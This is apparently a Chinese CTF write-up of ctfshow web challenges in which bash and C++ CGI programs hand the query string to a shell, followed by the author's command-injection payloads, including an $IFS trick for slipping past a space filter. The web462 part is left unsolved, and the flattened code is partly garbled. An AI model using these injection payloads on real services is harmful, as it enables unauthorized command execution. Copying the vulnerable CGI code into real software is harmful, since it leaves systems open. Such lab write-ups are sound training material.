ctfshow web入门嵌入式 bash cpp pwn

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kali转bash shell方法
方便我们本地

bash脚本教程
下面这个代码是bash脚本

#!/bin/bashOIFS="$IFS"IFS=","       //表示逗号为字段分隔符set $QUERY_STRING     //将参数传入数组Args=($QUERY_STRING)IFS="$OIFS"    //恢复原始IFS值if [ "${Args[2]}"ctf = "admin"ctf ]; thenecho "`${Args[0]}$IFS${Args[1]}`"fi  //结束if语句
exit 0

我们靠传入的角标为0 1 的值构造命令

?ls,/,admin
?cat,/flag,admin

web462

#!/bin/bashOIFS="$IFS"IFS=","set $QUERY_STRINGArgs=($QUERY_STRING)IFS="$OIFS"if [ "${Args[0]}"ctf = "ping"ctf ]; thenaddr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"addr="ping -c 1 "$addr$addrfi

这个是思路看不懂代码先欠着
addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"这句怎么看都晕，打通以后来改文章
?ping,

web463

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{FILE * fp;char * p = NULL;int res = -1;if (cmd == NULL || pRetMsg == NULL || msg_len < 0){printf("Param Error!\n");return -1;}if ((fp = popen(cmd, "r") ) == NULL){printf("Popen Error!\n");return -2;}else{memset(pRetMsg, 0, msg_len);//get lastest resultwhile(fgets(pRetMsg, msg_len, fp) != NULL){printf("Msg:%s",pRetMsg); //print all info}if ( (res = pclose(fp)) == -1){printf("close popenerror!\n");return -3;}pRetMsg[strlen(pRetMsg)-1] = '\0';return 0;}
}int main(void)
{int count = 0;char *cmd = "";char a8Result[128] = {0};int ret = 0;while (FCGI_Accept() >= 0)printf("Content-type: text/html\r\n""\r\n""<title>CTFshow</title>""<h1>where is flag?</h1>");cmd=getenv("QUERY_STRING");ret  = _System(cmd, a8Result, sizeof(a8Result));printf("ret = %d \nresult = %s\nlength = %d \n", ret, a8Result, strlen(a8Result));return 0;
}

试探性的上了一个ls，回显了，然后过滤了空格，尝试了一下$IFS可以绕过

?cat$IFS/f*

web464

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{FILE * fp;char * p = NULL;int res = -1;if (cmd == NULL || pRetMsg == NULL || msg_len < 0){printf("Param Error!\n");return -1;}if ((fp = popen(cmd, "r") ) == NULL){printf("Popen Error!\n");return -2;}else{memset(pRetMsg, 0, msg_len);//get lastest resultwhile(fgets(pRetMsg, msg_len, fp) != NULL){printf("Msg:%s",pRetMsg); //print all info}if ( (res = pclose(fp)) == -1){printf("close popenerror!\n");return -3;}pRetMsg[strlen(pRetMsg)-1] = '\0';return 0;}
}int main(void)
{int count = 0;char *cmd = "";char a8Result[128] = {0};int ret = 0;while (FCGI_Accept() >= 0)printf("Content-type: text/html\r\n""\r\n""<title>CTFshow</title>""<h1>where is flag?</h1>");cmd=getenv("QUERY_STRING");ret  = _System(cmd, a8Result, sizeof(a8Result));return 0;
}